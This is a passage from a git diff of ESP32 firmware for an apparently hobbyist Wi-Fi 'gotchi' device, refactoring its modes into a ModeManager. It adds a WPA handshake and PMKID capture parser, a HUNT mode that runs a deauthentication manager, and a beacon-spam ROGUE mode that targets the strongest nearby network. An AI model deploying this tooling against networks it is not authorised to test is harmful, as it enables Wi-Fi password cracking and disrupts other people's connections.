if (rc == 0) { - _bleScanning = true; - ESP_LOGI(TAG, "BLE scan started successfully"); - } else { - ESP_LOGE(TAG, "BLE scan failed to start: %d", rc); - } + getBLEScanner().startScan(); } void stopBLEScan() { - if (!_bleScanning) return; - - ble_gap_disc_cancel(); - _bleScanning = false; - ESP_LOGI(TAG, "BLE scan stopped, found %d devices", (int)_bleDevices.size()); + getBLEScanner().stopScan(); } -static TaskHandle_t _configTaskHandle = nullptr; -static esp_netif_t* _ap_netif_handle = nullptr; // Shared AP netif handle for CONFIG/ROGUE modes - -void startRogue() { - ESP_LOGI(TAG, "Starting ROGUE mode - beacon spam"); - ESP_LOGW(TAG, "WARNING: Educational use only!"); - - esp_wifi_stop(); - vTaskDelay(pdMS_TO_TICKS(200)); - - static bool netif_initialized = false; - - if (!netif_initialized) { - esp_err_t err = esp_netif_init(); - if (err != ESP_OK && err != ESP_ERR_INVALID_STATE) { - ESP_LOGW(TAG, "esp_netif_init failed: %d", err); - } - - err = esp_event_loop_create_default(); - if (err != ESP_OK && err != ESP_ERR_INVALID_STATE) { - ESP_LOGW(TAG, "esp_event_loop_create_default failed: %d", err); - } - - netif_initialized = true; - } - - if (!_ap_netif_handle) { - _ap_netif_handle = esp_netif_get_default_netif(); - } - - if (!_ap_netif_handle) { - _ap_netif_handle = esp_netif_create_default_wifi_ap(); - if (_ap_netif_handle) { - ESP_LOGI(TAG, "AP netif created"); - } - } else { - ESP_LOGI(TAG, "Using existing AP netif"); - } - - esp_wifi_deinit(); - vTaskDelay(pdMS_TO_TICKS(100)); - - wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); - esp_err_t ret = esp_wifi_init(&cfg); - if (ret != ESP_OK) { - ESP_LOGW(TAG, "WiFi init failed: %d", ret); - return; - } - vTaskDelay(pdMS_TO_TICKS(200)); - - ret = esp_wifi_set_mode(WIFI_MODE_AP); - if (ret != ESP_OK) { - ESP_LOGW(TAG, "WiFi AP mode failed: %d", ret); - return; - } - vTaskDelay(pdMS_TO_TICKS(100)); - - ret = esp_wifi_set_channel(6, WIFI_SECOND_CHAN_NONE); - if (ret != ESP_OK) { - ESP_LOGW(TAG, "WiFi channel set failed: %d", ret); - } - vTaskDelay(pdMS_TO_TICKS(100)); - - wifi_config_t ap_config = {0}; - ap_config.ap.ssid_len = 0; - ap_config.ap.channel = 6; - ap_config.ap.authmode = WIFI_AUTH_OPEN; - ap_config.ap.max_connection = 0; - ap_config.ap.beacon_interval = 100; - strcpy((char*)ap_config.ap.ssid, " "); - ap_config.ap.ssid[0] = 0; - ret = esp_wifi_set_config(WIFI_IF_AP, &ap_config); - if (ret != ESP_OK) { - ESP_LOGW(TAG, "AP config cleared: %d", ret); - } - vTaskDelay(pdMS_TO_TICKS(100)); - - ret = esp_wifi_start(); - if (ret != ESP_OK) { - ESP_LOGW(TAG, "WiFi start failed: %d", ret); - return; - } - vTaskDelay(pdMS_TO_TICKS(500)); - - _wifiInitialized = true; - - RogueManager& rogue = getRogueManager(); - rogue.loadFromNVS(); - - if (!rogue.getTarget().valid) { - auto networks = getNetworks(); - if (!networks.empty()) { - rogue.autoSelectStrongest(networks); - ESP_LOGI(TAG, "Auto-selected strongest network for ROGUE"); - } - } - - rogue.start(); - _beaconSpamming = true; - - ESP_LOGI(TAG, "ROGUE mode active - ready to send beacons"); -} - -void stopRogue() { - if (!_beaconSpamming) return; - - getRogueManager().stop(); - _beaconSpamming = false; - - esp_wifi_stop(); - vTaskDelay(pdMS_TO_TICKS(100)); - - ESP_LOGI(TAG, "ROGUE mode stopped"); -} - -// HTTP handlers moved to WebManager class (web_manager.cpp) -static void startHttpServer() { - getWebManager().start(); -} - -static void configModeTask(void* param) { - (void)param; - ESP_LOGI(TAG, "Config mode starting..."); - vTaskDelay(pdMS_TO_TICKS(500)); - startHttpServer(); - ESP_LOGI(TAG, "Config mode ready - visit http://192.168.4.1"); - while (_configModeActive) { - vTaskDelay(pdMS_TO_TICKS(1000)); - } - vTaskDelete(NULL); -} - -void startConfigMode() { - if (_configModeActive) return; - - ESP_LOGI(TAG, "Starting CONFIG mode"); - - esp_wifi_stop(); - vTaskDelay(pdMS_TO_TICKS(200)); - - // Only init if not already done - handle case where event loop exists - // Note: netif_initialized is shared with startRogue - static bool netif_initialized = false; - if (!netif_initialized) { - esp_err_t err = esp_netif_init(); - if (err != ESP_OK && err != ESP_ERR_INVALID_STATE) { - ESP_LOGW(TAG, "esp_netif_init failed: %d", err); - } - - err = esp_event_loop_create_default(); - if (err != ESP_OK && err != ESP_ERR_INVALID_STATE) { - ESP_LOGW(TAG, "esp_event_loop_create_default failed: %d", err); - } - - netif_initialized = true; - } - - // Try to get existing AP netif first (handles case from ROGUE mode) - if (!_ap_netif_handle) { - _ap_netif_handle = esp_netif_get_default_netif(); - } - - // If still no handle, try to create one - if (!_ap_netif_handle) { - _ap_netif_handle = esp_netif_create_default_wifi_ap(); - if (_ap_netif_handle) { - ESP_LOGI(TAG, "AP netif created for CONFIG"); - } - } else { - ESP_LOGI(TAG, "Using existing AP netif for CONFIG"); - } - - // Re-init WiFi to ensure clean state - esp_wifi_deinit(); - vTaskDelay(pdMS_TO_TICKS(100)); - - wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); - esp_err_t ret = esp_wifi_init(&cfg); - if (ret != ESP_OK) { - ESP_LOGW(TAG, "WiFi init failed: %d", ret); - return; - } - vTaskDelay(pdMS_TO_TICKS(200)); - - ret = esp_wifi_set_mode(WIFI_MODE_AP); - if (ret != ESP_OK) { - ESP_LOGW(TAG, "WiFi AP mode failed: %d", ret); - return; - } - vTaskDelay(pdMS_TO_TICKS(100)); - - // Set channel before config - ret = esp_wifi_set_channel(6, WIFI_SECOND_CHAN_NONE); - if (ret != ESP_OK) { - ESP_LOGW(TAG, "WiFi channel set failed: %d", ret); - } - - wifi_config_t ap_config = {}; - strcpy((char*)ap_config.ap.ssid, "StackChan-Config"); - ap_config.ap.ssid_len = 16; - ap_config.ap.channel = 6; - ap_config.ap.authmode = WIFI_AUTH_OPEN; - ap_config.ap.max_connection = 4; - - ret = esp_wifi_set_config(WIFI_IF_AP, &ap_config); - if (ret != ESP_OK) { - ESP_LOGW(TAG, "AP config failed: %d", ret); - } - - ret = esp_wifi_start(); - if (ret != ESP_OK) { - ESP_LOGW(TAG, "WiFi start failed: %d", ret); - return; - } - - vTaskDelay(pdMS_TO_TICKS(1000)); - - _wifiInitialized = true; - _configModeActive = true; - xTaskCreate(configModeTask, "config_task", 4096, NULL, 5, &_configTaskHandle); - - ESP_LOGI(TAG, "CONFIG mode active - connect to 'StackChan-Config'"); -} - -void stopConfigMode() { - if (!_configModeActive) return; - - _configModeActive = false; - - if (_configTaskHandle) { - vTaskDelay(pdMS_TO_TICKS(100)); - _configTaskHandle = nullptr; - } - - getWebManager().stop(); - - esp_wifi_stop(); - vTaskDelay(pdMS_TO_TICKS(100)); - - ESP_LOGI(TAG, "CONFIG mode stopped"); +int getBLEDeviceCount() { + return getNetworkDatabase().getBLEDeviceCount(); } -bool isBeaconSpamming() { - return _beaconSpamming; +bool isDeepThoughtUnlocked() { + return getXPSystem().getLevel() >= 5; } -bool isConfigMode() { - return _configModeActive; +uint8_t getPrestige() { + return getXPSystem().getPrestige(); } bool shouldShowHuntDisclaimer() { - static bool shown = false; - return !shown; + return !_huntDisclaimerShown; } void acknowledgeHuntDisclaimer() { - // Implementation - disclaimer has been shown -} - -bool isDeepThoughtUnlocked() { - return _xpSystem.getLevel() >= 5; + _huntDisclaimerShown = true; } uint32_t getAchievementsBitmask() { - return _achievementSystem.getAchievementsBitmask(); + return getAchievementSystem().getAchievementsBitmask(); } bool getDailyChallenge(ChallengeInfo& challenge) { - return _achievementSystem.getDailyChallenge(challenge); + return getAchievementSystem().getDailyChallenge(challenge); } bool completeDailyChallenge() { - return _achievementSystem.completeDailyChallenge(); + return getAchievementSystem().completeDailyChallenge(); } } \ No newline at end of file diff --git a/firmware/main/gotchi/handshake_parser.cpp b/firmware/main/gotchi/handshake_parser.cpp new file mode 100644 index 0000000..df459b4 --- /dev/null +++ b/firmware/main/gotchi/handshake_parser.cpp @@ -0,0 +1,157 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "handshake_parser.h" +#include "network_db.h" +#include +#include +#include + +static const char* TAG = "handshake_parser"; + +namespace gotchi { + +HandshakeParser::HandshakeParser() { +} + +void HandshakeParser::clear() { + _pendingHandshakes.clear(); + _capturedHandshakes.clear(); +} + +int HandshakeParser::findPendingHandshake(const uint8_t* bssid, const uint8_t* clientMac) { + for (int i = 0; i < (int)_pendingHandshakes.size(); i++) { + if (memcmp(_pendingHandshakes[i].bssid, bssid, 6) == 0) { + if (clientMac == nullptr || memcmp(_pendingHandshakes[i].clientMac, clientMac, 6) == 0) { + return i; + } + } + } + return -1; +} + +void HandshakeParser::completeHandshake(int idx) { + if (idx < 0 || idx >= (int)_pendingHandshakes.size()) return; + + const auto& pending = _pendingHandshakes[idx]; + + HandshakeInfo finalHs = {}; + strncpy(finalHs.ssid, pending.ssid, 32); + memcpy(finalHs.bssid, pending.bssid, 6); + memcpy(finalHs.clientMac, pending.clientMac, 6); + finalHs.timestamp = GetHAL().millis(); + finalHs.isComplete = true; + finalHs.messagesGot = 0x07; + + if (_capturedHandshakes.size() >= MAX_CAPTURED) { + _capturedHandshakes.erase(_capturedHandshakes.begin()); + } + _capturedHandshakes.push_back(finalHs); + + ESP_LOGI(TAG, "Complete handshake captured for %s!", finalHs.ssid); + + if (_onHandshakeCaptured) { + _onHandshakeCaptured(finalHs); + } + + _pendingHandshakes.erase(_pendingHandshakes.begin() + idx); +} + +void HandshakeParser::processEapolFrame(uint8_t* payload, int len, const uint8_t* srcMac, const uint8_t* dstMac, + const char* ssid, const uint8_t* bssid, int8_t rssi) { + if (len < 26) return; + + if (payload[0] != 0xAA || payload[1] != 0xAA || payload[2] != 0x03) return; + if (payload[3] != 0x88 || payload[4] != 0x01) return; + + uint8_t* eapol = payload + 4; + if (eapol[1] != 0x02 && eapol[1] != 0x01) return; + + uint16_t keyInfo = (eapol[3] << 8) | eapol[4]; + bool isKeyFrame = (keyInfo & 0x01) != 0; + bool hasKeyMic = (keyInfo & 0x100) != 0; + bool hasKeyData = (keyInfo & 0x200) != 0; + bool isFromAP = (keyInfo & 0x0400) != 0; + + if (!isKeyFrame) return; + + uint16_t keyDataLen = (eapol[6] << 8) | eapol[7]; + if (keyDataLen > len - 8) return; + + char targetSSID[33] = {0}; + if (ssid && strlen(ssid) > 0) { + strncpy(targetSSID, ssid, 32); + } else { + auto& db = getNetworkDatabase(); + for (const auto& net : db.getNetworks()) { + if (memcmp(net.bssid, bssid, 6) == 0) { + strncpy(targetSSID, net.ssid, 32); + break; + } + } + } + + PendingHandshake hs = {}; + memcpy(hs.bssid, bssid, 6); + memcpy(hs.clientMac, isFromAP ? dstMac : srcMac, 6); + strncpy(hs.ssid, targetSSID, 32); + hs.lastSeen = GetHAL().millis(); + hs.hasM1 = false; + hs.hasM2 = false; + hs.hasM3 = false; + hs.hasM4 = false; + + uint8_t* keyData = eapol + 8; + + bool hasPMKID = false; + if (keyDataLen >= 4 && keyData[0] == 0xDD && keyData[1] == 0x16) { + for (int i = 0; i < keyDataLen - 8; i++) { + if (keyData[i] == 0xDD && keyData[i+1] == 0x14) { + hasPMKID = true; + ESP_LOGI(TAG, "Detected PMKID for %s!", targetSSID); + break; + } + } + } + + if (!isFromAP && !hasKeyMic && hasKeyData) { + hs.hasM1 = true; + if (keyDataLen >= 32) { + memcpy(hs.anonce, keyData + 2, 32); + } + } else if (isFromAP && hasKeyMic && hasKeyData) { + hs.hasM3 = true; + hs.hasM1 = true; + } else if (!isFromAP && hasKeyMic && !hasKeyData) { + if (hasPMKID) { + hs.hasM3 = true; + } + } + + int idx = findPendingHandshake(bssid, hs.clientMac); + if (idx >= 0) { + if (hs.hasM1) _pendingHandshakes[idx].hasM1 = true; + if (hs.hasM2) _pendingHandshakes[idx].hasM2 = true; + if (hs.hasM3) _pendingHandshakes[idx].hasM3 = true; + if (hs.hasM4) _pendingHandshakes[idx].hasM4 = true; + _pendingHandshakes[idx].lastSeen = GetHAL().millis(); + } else if (_pendingHandshakes.size() < MAX_PENDING) { + _pendingHandshakes.push_back(hs); + idx = _pendingHandshakes.size() - 1; + } + + if (idx >= 0 && _pendingHandshakes[idx].hasM1 && + (_pendingHandshakes[idx].hasM2 || _pendingHandshakes[idx].hasM3)) { + getNetworkDatabase().markNetworkHasCapture(bssid); + completeHandshake(idx); + } +} + +static HandshakeParser _handshakeParser; + +HandshakeParser& getHandshakeParser() { + return _handshakeParser; +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/handshake_parser.h b/firmware/main/gotchi/handshake_parser.h new file mode 100644 index 0000000..1449909 --- /dev/null +++ b/firmware/main/gotchi/handshake_parser.h @@ -0,0 +1,56 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include +#include +#include + +namespace gotchi { + +class HandshakeParser { +public: + HandshakeParser(); + + void clear(); + + using HandshakeCallback = std::function; + void setOnHandshakeCaptured(HandshakeCallback cb) { _onHandshakeCaptured = cb; } + + void processEapolFrame(uint8_t* payload, int len, const uint8_t* srcMac, const uint8_t* dstMac, + const char* ssid, const uint8_t* bssid, int8_t rssi); + + const std::vector& getCapturedHandshakes() const { return _capturedHandshakes; } + int getCapturedCount() const { return (int)_capturedHandshakes.size(); } + +private: + struct PendingHandshake { + uint8_t bssid[6]; + uint8_t clientMac[6]; + char ssid[33]; + bool hasM1; + bool hasM2; + bool hasM3; + bool hasM4; + uint8_t anonce[32]; + uint8_t snonce[32]; + uint8_t mic[16]; + uint32_t lastSeen; + }; + + int findPendingHandshake(const uint8_t* bssid, const uint8_t* clientMac); + void completeHandshake(int idx); + + static const int MAX_PENDING = 50; + static const int MAX_CAPTURED = 50; + + std::vector _pendingHandshakes; + std::vector _capturedHandshakes; + HandshakeCallback _onHandshakeCaptured; +}; + +HandshakeParser& getHandshakeParser(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/mode.cpp b/firmware/main/gotchi/mode.cpp index 6ca3ffa..c3c7a50 100644 --- a/firmware/main/gotchi/mode.cpp +++ b/firmware/main/gotchi/mode.cpp @@ -67,32 +67,32 @@ static NeonColor getStatsNeon(Mode mode, int netCount, uint32_t now) { } static const ModeInfo MODE_TABLE[] = { - {Mode::IDLE, "IDLE", Mood::NEUTRAL, false, false, false, false, false, 0.0f, 0, false, false, - Mode::SCOUT, Mode::STATS, 0, 3000, 0, 0, 200, 0, true, 8000, 4, + {Mode::IDLE, "IDLE", Mood::NEUTRAL, false, false, false, false, false, 0.0f, 0, false, true, + Mode::SCOUT, Mode::STATS, 0, 3000, 0, 0, 200, 0, true, 8000, 4, {0x00, 0xFF, 0x88}, getIdleNeon, nullptr}, - {Mode::SCOUT, "SCOUT", Mood::NEUTRAL, true, false, true, false, false, 0.8f, 200, false, true, - Mode::HUNT, Mode::IDLE, 800, 1500, 0, 0, 150, 1, true, 6000, 0, + {Mode::SCOUT, "SCOUT", Mood::NEUTRAL, true, false, true, false, false, 0.8f, 200, false, true, + Mode::HUNT, Mode::IDLE, 800, 1500, 0, 0, 150, 1, true, 6000, 0, {0x00, 0x66, 0xFF}, getScoutNeon, nullptr}, - {Mode::HUNT, "HUNT", Mood::FOCUSED, true, false, true, false, false, 1.0f, 200, true, true, - Mode::WARDIVE, Mode::SCOUT, 600, 800, 0, 0, 200, 4, true, 4000, 2, + {Mode::HUNT, "HUNT", Mood::FOCUSED, true, false, true, false, false, 1.0f, 200, true, true, + Mode::WARDIVE, Mode::SCOUT, 600, 800, 0, 0, 200, 4, true, 4000, 2, {0x00, 0xFF, 0x00}, getHuntNeon, nullptr}, - {Mode::WARDIVE, "WARDIVE", Mood::EXCITED, true, false, true, false, false, 1.5f, 200, false, true, - Mode::SPECTRUM, Mode::HUNT, 1000, 600, 1, 300, 200, 2, true, 5000, 1, + {Mode::WARDIVE, "WARDIVE", Mood::EXCITED, true, false, true, false, false, 1.5f, 200, false, true, + Mode::SPECTRUM, Mode::HUNT, 1000, 600, 1, 300, 200, 2, true, 5000, 1, {0xFF, 0x66, 0x00}, getWardiveNeon, nullptr}, - {Mode::SPECTRUM, "SPECTRUM", Mood::FOCUSED, true, false, true, false, false, 1.2f, 200, false, true, - Mode::BLE_SCAN, Mode::WARDIVE, 1200, 1000, 2, 150, 200, 4, true, 5000, 2, + {Mode::SPECTRUM, "SPECTRUM", Mood::FOCUSED, true, false, true, false, false, 1.2f, 200, false, true, + Mode::BLE_SCAN, Mode::WARDIVE, 1200, 1000, 2, 150, 200, 4, true, 5000, 2, {0xFF, 0x00, 0xFF}, getSpectrumNeon, nullptr}, - {Mode::BLE_SCAN, "BLE_SCAN", Mood::FOCUSED, false, true, false, false, false, 1.0f, 0, false, false, - Mode::ROGUE, Mode::SPECTRUM, 0, 600, 0, 0, 200, 4, true, 6000, 3, + {Mode::BLE_SCAN, "BLE_SCAN", Mood::FOCUSED, false, true, false, false, false, 1.0f, 0, false, true, + Mode::ROGUE, Mode::SPECTRUM, 0, 600, 0, 0, 200, 4, true, 6000, 3, {0x00, 0x88, 0xFF}, getBleScanNeon, nullptr}, - {Mode::ROGUE, "ROGUE", Mood::EXCITED, true, false, false, true, false, 1.0f, 0, false, false, - Mode::STATS, Mode::BLE_SCAN, 350, 500, 3, 120, 200, 2, true, 3000, 1, + {Mode::ROGUE, "ROGUE", Mood::EXCITED, true, false, false, true, false, 1.0f, 0, false, true, + Mode::STATS, Mode::BLE_SCAN, 350, 500, 3, 120, 200, 2, true, 3000, 1, {0xAA, 0x00, 0xFF}, getRogueNeon, nullptr}, - {Mode::CONFIG, "CONFIG", Mood::NEUTRAL, true, false, false, false, true, 0.0f, 0, false, false, - Mode::SCOUT, Mode::SCOUT, 0, 3000, 0, 0, 200, 0, false, 0, 0, + {Mode::CONFIG, "CONFIG", Mood::NEUTRAL, true, false, false, false, true, 0.0f, 0, false, true, + Mode::SCOUT, Mode::SCOUT, 0, 3000, 0, 0, 200, 0, false, 0, 0, {0xFF, 0xAA, 0x00}, getConfigNeon, nullptr}, - {Mode::STATS, "STATS", Mood::HAPPY, false, false, false, false, false, 0.0f, 0, false, false, - Mode::IDLE, Mode::ROGUE, 0, 2000, 0, 0, 200, 1, false, 0, 0, + {Mode::STATS, "STATS", Mood::HAPPY, false, false, false, false, false, 0.0f, 0, false, true, + Mode::IDLE, Mode::ROGUE, 0, 2000, 0, 0, 200, 1, false, 0, 0, {0xAA, 0xFF, 0xFF}, getStatsNeon, nullptr}, }; diff --git a/firmware/main/gotchi/mode_manager.cpp b/firmware/main/gotchi/mode_manager.cpp new file mode 100644 index 0000000..4b572b0 --- /dev/null +++ b/firmware/main/gotchi/mode_manager.cpp @@ -0,0 +1,307 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "mode_manager.h" +#include "network_db.h" +#include "wifi_scanner.h" +#include "deauth_manager.h" +#include "ble_scanner.h" +#include "rogue_manager.h" +#include "web_manager.h" +#include "mode.h" +#include +#include +#include +#include +#include +#include +#include + +static const char* TAG = "mode_manager"; + +namespace gotchi { + +bool ModeManager::_netifInitialized = false; +esp_netif_t* ModeManager::_apNetifHandle = nullptr; + +ModeManager::ModeManager() + : _currentMode(Mode::IDLE), _currentMood(Mood::NEUTRAL), + _beaconSpamming(false), _configModeActive(false), _configTaskHandle(nullptr) { +} + +void ModeManager::initAPNetif() { + if (_netifInitialized) return; + + esp_err_t err = esp_netif_init(); + if (err != ESP_OK && err != ESP_ERR_INVALID_STATE) { + ESP_LOGW(TAG, "esp_netif_init failed: %d", err); + return; + } + + err = esp_event_loop_create_default(); + if (err != ESP_OK && err != ESP_ERR_INVALID_STATE) { + ESP_LOGW(TAG, "esp_event_loop_create_default failed: %d", err); + return; + } + + _netifInitialized = true; +} + +void ModeManager::deinitWiFi() { + esp_wifi_stop(); + vTaskDelay(pdMS_TO_TICKS(100)); + esp_wifi_deinit(); + vTaskDelay(pdMS_TO_TICKS(100)); +} + +void ModeManager::setMode(Mode mode) { + if (_currentMode == mode) return; + + ESP_LOGI(TAG, "Switching from %s to %s", + getModeName(_currentMode), getModeName(mode)); + + stopMode(_currentMode); + _currentMode = mode; + _currentMood = getModeInfo(mode).mood; + startMode(mode); +} + +void ModeManager::setMood(Mood mood) { + _currentMood = mood; +} + +void ModeManager::stopMode(Mode mode) { + switch (mode) { + case Mode::HUNT: + getWifiScanner().stopSniff(); + getDeauthManager().stop(); + break; + case Mode::SCOUT: + getWifiScanner().stopSniff(); + break; + case Mode::WARDIVE: + case Mode::SPECTRUM: + getWifiScanner().stopSniff(); + break; + case Mode::BLE_SCAN: + getBLEScanner().stopScan(); + break; + case Mode::ROGUE: + stopRogueMode(); + break; + case Mode::CONFIG: + stopConfigMode(); + break; + default: + break; + } +} + +void ModeManager::startMode(Mode mode) { + switch (mode) { + case Mode::HUNT: + ESP_LOGI(TAG, "Starting HUNT mode"); + getWifiScanner().startSniff(); + getDeauthManager().start(); + break; + case Mode::SCOUT: + ESP_LOGI(TAG, "Starting SCOUT mode"); + getWifiScanner().startSniff(); + break; + case Mode::WARDIVE: + ESP_LOGI(TAG, "Starting WARDIVE mode"); + getWifiScanner().startSniff(); + break; + case Mode::SPECTRUM: + ESP_LOGI(TAG, "Starting SPECTRUM mode"); + getWifiScanner().startSniff(); + break; + case Mode::BLE_SCAN: + ESP_LOGI(TAG, "Starting BLE-SCAN mode"); + getBLEScanner().startScan(); + break; + case Mode::ROGUE: + ESP_LOGI(TAG, "Starting ROGUE mode"); + startRogueMode(); + break; + case Mode::CONFIG: + ESP_LOGI(TAG, "Starting CONFIG mode"); + startConfigMode(); + break; + case Mode::IDLE: + ESP_LOGI(TAG, "IDLE mode"); + break; + default: + break; + } +} + +void ModeManager::startRogueMode() { + if (_beaconSpamming) return; + + ESP_LOGI(TAG, "Starting ROGUE mode - beacon spam"); + ESP_LOGW(TAG, "WARNING: Educational use only!"); + + deinitWiFi(); + + initAPNetif(); + + if (!_apNetifHandle) { + _apNetifHandle = esp_netif_create_default_wifi_ap(); + } + + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + esp_err_t ret = esp_wifi_init(&cfg); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi init failed: %d", ret); + return; + } + vTaskDelay(pdMS_TO_TICKS(200)); + + ret = esp_wifi_set_mode(WIFI_MODE_AP); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi AP mode failed: %d", ret); + return; + } + vTaskDelay(pdMS_TO_TICKS(100)); + + esp_wifi_set_channel(6, WIFI_SECOND_CHAN_NONE); + vTaskDelay(pdMS_TO_TICKS(100)); + + wifi_config_t ap_config = {0}; + ap_config.ap.channel = 6; + ap_config.ap.authmode = WIFI_AUTH_OPEN; + ap_config.ap.max_connection = 0; + ap_config.ap.beacon_interval = 100; + ap_config.ap.ssid[0] = 0; + ap_config.ap.ssid_len = 0; + esp_wifi_set_config(WIFI_IF_AP, &ap_config); + + esp_wifi_start(); + vTaskDelay(pdMS_TO_TICKS(500)); + + RogueManager& rogue = getRogueManager(); + rogue.loadFromNVS(); + + if (!rogue.getTarget().valid) { + const auto& networks = getNetworkDatabase().getNetworks(); + if (!networks.empty()) { + rogue.autoSelectStrongest(networks); + } + } + + rogue.start(); + _beaconSpamming = true; +} + +void ModeManager::stopRogueMode() { + if (!_beaconSpamming) return; + + getRogueManager().stop(); + _beaconSpamming = false; + + esp_wifi_stop(); + vTaskDelay(pdMS_TO_TICKS(100)); + + ESP_LOGI(TAG, "ROGUE mode stopped"); +} + +static void configModeTask(void* param) { + (void)param; + ESP_LOGI(TAG, "Config mode task starting..."); + vTaskDelay(pdMS_TO_TICKS(500)); + getWebManager().start(); + ESP_LOGI(TAG, "Config mode ready - visit http://192.168.4.1"); + + while (getModeManager().isConfigModeActive()) { + vTaskDelay(pdMS_TO_TICKS(1000)); + } + vTaskDelete(NULL); +} + +void ModeManager::startConfigMode() { + if (_configModeActive) return; + + ESP_LOGI(TAG, "Starting CONFIG mode"); + + deinitWiFi(); + + initAPNetif(); + + if (!_apNetifHandle) { + _apNetifHandle = esp_netif_create_default_wifi_ap(); + } + + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + esp_err_t ret = esp_wifi_init(&cfg); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi init failed: %d", ret); + return; + } + vTaskDelay(pdMS_TO_TICKS(200)); + + ret = esp_wifi_set_mode(WIFI_MODE_AP); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi AP mode failed: %d", ret); + return; + } + vTaskDelay(pdMS_TO_TICKS(100)); + + esp_wifi_set_channel(6, WIFI_SECOND_CHAN_NONE); + + wifi_config_t ap_config = {}; + strcpy((char*)ap_config.ap.ssid, "StackChan-Config"); + ap_config.ap.ssid_len = 16; + ap_config.ap.channel = 6; + ap_config.ap.authmode = WIFI_AUTH_OPEN; + ap_config.ap.max_connection = 4; + esp_wifi_set_config(WIFI_IF_AP, &ap_config); + + esp_wifi_start(); + vTaskDelay(pdMS_TO_TICKS(1000)); + + _configModeActive = true; + xTaskCreate(configModeTask, "config_task", 4096, NULL, 5, &_configTaskHandle); + + ESP_LOGI(TAG, "CONFIG mode active"); +} + +void ModeManager::stopConfigMode() { + if (!_configModeActive) return; + + _configModeActive = false; + + if (_configTaskHandle) { + vTaskDelay(pdMS_TO_TICKS(100)); + _configTaskHandle = nullptr; + } + + getWebManager().stop(); + esp_wifi_stop(); + vTaskDelay(pdMS_TO_TICKS(100)); + + ESP_LOGI(TAG, "CONFIG mode stopped"); +} + +void ModeManager::update() { + if (_currentMode == Mode::HUNT || _currentMode == Mode::WARDIVE || + _currentMode == Mode::SPECTRUM || _currentMode == Mode::SCOUT) { + getWifiScanner().update(); + } +} + +void ModeManager::shutdown() { + stopMode(_currentMode); + _currentMode = Mode::IDLE; + _currentMood = Mood::NEUTRAL; + ESP_LOGI(TAG, "ModeManager shutdown"); +} + +static ModeManager _modeManager; + +ModeManager& getModeManager() { + return _modeManager; +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/mode_manager.h b/firmware/main/gotchi/mode_manager.h new file mode 100644 index 0000000..fcf0c66 --- /dev/null +++ b/firmware/main/gotchi/mode_manager.h @@ -0,0 +1,51 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include +#include +#include + +namespace gotchi { + +class ModeManager { +public: + ModeManager(); + + Mode getCurrentMode() const { return _currentMode; } + Mood getCurrentMood() const { return _currentMood; } + bool isBeaconSpamming() const { return _beaconSpamming; } + bool isConfigModeActive() const { return _configModeActive; } + + void setMode(Mode mode); + void setMood(Mood mood); + + void update(); + void shutdown(); + +private: + void startMode(Mode mode); + void stopMode(Mode mode); + + void startRogueMode(); + void stopRogueMode(); + void startConfigMode(); + void stopConfigMode(); + + void initAPNetif(); + void deinitWiFi(); + + Mode _currentMode; + Mood _currentMood; + bool _beaconSpamming; + bool _configModeActive; + TaskHandle_t _configTaskHandle; + static bool _netifInitialized; + static esp_netif_t* _apNetifHandle; +}; + +ModeManager& getModeManager(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/network_db.cpp b/firmware/main/gotchi/network_db.cpp new file mode 100644 index 0000000..8f34b37 --- /dev/null +++ b/firmware/main/gotchi/network_db.cpp @@ -0,0 +1,201 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "network_db.h" +#include +#include +#include + +static const char* TAG = "network_db"; + +namespace gotchi { + +NetworkDatabase::NetworkDatabase() : _networksFound(0) { +} + +void NetworkDatabase::clear() { + _networks.clear(); +} + +void NetworkDatabase::clearHandshakes() { + _handshakes.clear(); +} + +void NetworkDatabase::clearBLEDevices() { + _bleDevices.clear(); +} + +NetworkInfo* NetworkDatabase::findNetwork(const uint8_t* bssid) { + for (auto& net : _networks) { + if (memcmp(net.bssid, bssid, 6) == 0) { + return &net; + } + } + return nullptr; +} + +NetworkInfo* NetworkDatabase::addNetwork(const char* ssid, const uint8_t* bssid, int8_t rssi, uint8_t channel) { + if (_networks.size() >= MAX_NETWORKS) { + return nullptr; + } + + NetworkInfo net; + memset(net.ssid, 0, 33); + if (ssid) { + strncpy(net.ssid, ssid, 32); + } + memcpy(net.bssid, bssid, 6); + net.rssi = rssi; + net.channel = channel; + net.isHidden = false; + net.hasCapture = false; + net.lastSeen = 0; + + _networks.push_back(net); + _networksFound++; + + return &_networks.back(); +} + +void NetworkDatabase::updateNetworkRSSI(const uint8_t* bssid, int8_t rssi) { + NetworkInfo* net = findNetwork(bssid); + if (net) { + net->rssi = rssi; + } +} + +bool NetworkDatabase::hasCompleteHandshake(const uint8_t* bssid) const { + for (const auto& hs : _handshakes) { + if (hs.isComplete && memcmp(hs.bssid, bssid, 6) == 0) { + return true; + } + } + return false; +} + +void NetworkDatabase::addHandshake(const HandshakeInfo& hs) { + if (_handshakes.size() >= MAX_HANDSHAKES) { + _handshakes.erase(_handshakes.begin()); + } + _handshakes.push_back(hs); +} + +int NetworkDatabase::getHandshakeCount() const { + int count = 0; + for (const auto& hs : _handshakes) { + if (hs.isComplete) count++; + } + return count; +} + +void NetworkDatabase::markNetworkHasCapture(const uint8_t* bssid) { + for (auto& net : _networks) { + if (memcmp(net.bssid, bssid, 6) == 0) { + net.hasCapture = true; + break; + } + 